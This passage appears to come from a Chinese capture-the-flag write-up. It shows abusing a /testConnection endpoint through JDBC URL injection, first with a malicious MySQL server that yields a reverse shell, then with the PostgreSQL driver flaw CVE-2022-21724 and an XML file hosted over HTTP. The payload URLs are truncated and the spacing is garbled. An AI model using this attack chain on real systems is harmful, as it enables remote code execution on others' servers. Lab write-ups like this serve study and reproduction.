1 2 /testConnection? driver=com.mysql .cj .jdbc .Driver &url=jdbc :mysql :
连接我们的恶意mysql服务成功
反弹shell成功
解法二 利用 postgresql 驱动 还是利用那个项目工具
生成payload
此时ip和port应该是postgresql的服务而不是mysql
然后xml内容参考PostgresQL JDBC Drive 任意代码执行漏洞(CVE-2022-21724) - 先知社区
用http起一个服务 开放这个xml文件访问
最终payload:
1 /testConnection?driver=jdbc:postgresql:
结尾 java还是一窍不通 :( 只能硬着头皮复现了